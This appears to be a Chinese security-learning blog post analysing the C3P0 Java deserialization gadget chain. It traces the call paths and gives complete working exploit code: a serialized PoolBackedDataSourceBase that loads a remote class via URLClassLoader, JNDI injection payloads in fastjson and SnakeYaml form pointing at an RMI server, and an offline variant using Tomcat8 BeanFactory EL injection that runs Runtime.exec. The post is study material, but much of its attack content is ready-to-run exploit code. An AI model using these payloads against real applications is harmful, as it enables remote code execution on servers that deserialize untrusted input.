少女祈祷中...

参考:Java安全学习——C3P0链 - 枫のBlog

C3P0介绍

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。


# Gadget > 导入依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

过程

流程:PoolBackedDataSourceBase#readObject ->ReferenceSerialized#getObject ->ReferenceableUtils#referenceToObject ->ObjectFactory#getObjectInstance

入口类:PoolBackedDataSourceBase
PoolBackedDataSourceBase#readObject
!

如果反序列化得到的类是IndirectlySerialized的实例,则会调用其getObject()方法,然后将返回的类转为ConnectionPoolDataSource类

IndirectlySerialized是一个接口,查找实现类,找到ReferenceSerialized类
!
在这里发现存在lookup方法,那么肯能这点就存在jndi注入,好吧但实际上在反序列化时我们是无法调用到该方法的,因为属性contextName为默认null且不可控
继续进入ReferenceableUtils#referenceToObject
这里reference我们放在后面EXP部分,怎么控制
!
从第一个参数Reference ref获取URL,并使用URLClassLoader获取class类
forName进行类加载
newInstance实例。恶意类静态代码块和构造函数会被执行

EXP编写

由于入口类writeObject的是connectionPoolDataSource属性,connectionPoolDataSource是一个接口没有继承Serializable接口(EXP就得实现这个接口才行),无法被直接序列化,因此走的是catch分支

!
可以看到使用包装类包装了这个类。发现是一个接口的方法。
找到唯一的实现类ReferenceIndirector,
!
调用Referenceable接口的getReference方法,那么我们的EXP就该实现这个接口,并返回我们恶意的Reference对象。

然后继续看ReferenceSerialized
!
这里就赋值了上面Gadget最后要用的reference
!
最后EXP

package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_URLClassLoader {

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
EXP_Loader exp_loader = new EXP_Loader();
Pool_Serial(exp_loader);
Pool_Deserial();
}

}

URL所在目录下必须有包名的目录

JNDI注入

这条链子依赖于fastjson或者Jackson、snakeyaml等反序列化漏洞,利用的是getter和setter方法

过程

流程

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

JndiRefConnectionPoolDataSource#setLoginTimeout
!
wcps是WrapperConnectionPoolDataSource类
!
继续进入
!
调式发现getNestedDataSource()返回的是JndiRefForwardingDataSource对象
!
找到setLoginTimeout方法
!
进入inner方法

!
继续进入dereference方法
!
最后在这里创建initialContext,并使用危险方法lookup。(到这里就有jndi注入了)
只需能控制jndiName就能够进行jndi注入

继续查看是否可控jndiName

JndiRefConnectionPoolDataSource#setJndiName

!
jrfds为JndiRefForwardingDataSource对象,刚好跟上文对应
这里调用的是父类的setJndiName
进入JndiRefDataSourceBase#setJndiName
!
这里对上面的jndiName赋值

EXP

普通exp
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
try {
jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:8085/RFKMphyY");
jndiRefConnectionPoolDataSource.setLoginTimeout(2);
} catch (SQLException e) {
throw new RuntimeException(e);
} catch (PropertyVetoException e) {
throw new RuntimeException(e);
}

思路:jndiRefConnectionPoolDataSource#setJndiName设置jndi的路径,
jndiRefConnectionPoolDataSource#setLoginTimeout触发jndi注入

fastjson版
{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","jndiName":"rmi://127.0.0.1:8085/RFKMphyY","loginTimeout":2}

SnakeYaml版
!!com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource {jndiName: "rmi://127.0.0.1:8085/RFKMphyY", loginTimeout: "2"}

注意空格(踩过坑)

HEX二次反序列化

过程

流程

#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject

WrapperConnectionPoolDataSource#setuserOverridesAsString
调用父类方法,WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
!
会获取原来的值和新的值放入另一个方法中
进入VetoableChangeSupport#fireVetoableChange
继续进入重载方法
!
然后调用所有listener的vetoableChange方法
!
当前有一个listener就是WrapperConnectionPoolDataSource
进入WrapperConnectionPoolDataSource#vetoableChange
!
然后调到这里
!
val就是我们设置的属性值
进入C3P0ImplUtils#parseUserOverridesAsString
!
这里会从默认前缀HexAsciiSerializedMap加上一个字符后开始截取真正的反序列化数据(那么payload就应该加上这个前缀)
然后将字符串转为字符数组

进入SerializableUtils#fromByteArray
!
进入deserializeFromByteArray
!
这里就是一个链子结尾,触发了原生的反序列化,readObject,也算是反序列链子的一个入口点,因此可以用这个来进行二次反序列化

C3P0不出网利用

不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网,但却有Fastjson等的相关依赖。那么如果目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢
在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入
!
我们再回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式
!
在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然了,这种利用方式需要存在Tomcat8相关依赖环境

利用链构造

由于BeanFactory中需要Reference为ResourceRef类,因此在getReference()中我们实例化ResourceRef类,剩下的构造就和高版本JNDI类似了

package C3P0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Tomcat8 {

public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader();
Pool_Serial(tomcat8_loader);
Pool_Deserial();
}
}

注意,由于Tomcat8的EL依赖可能不完整,利用的时候可能会失败,最好依赖下面两个包

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>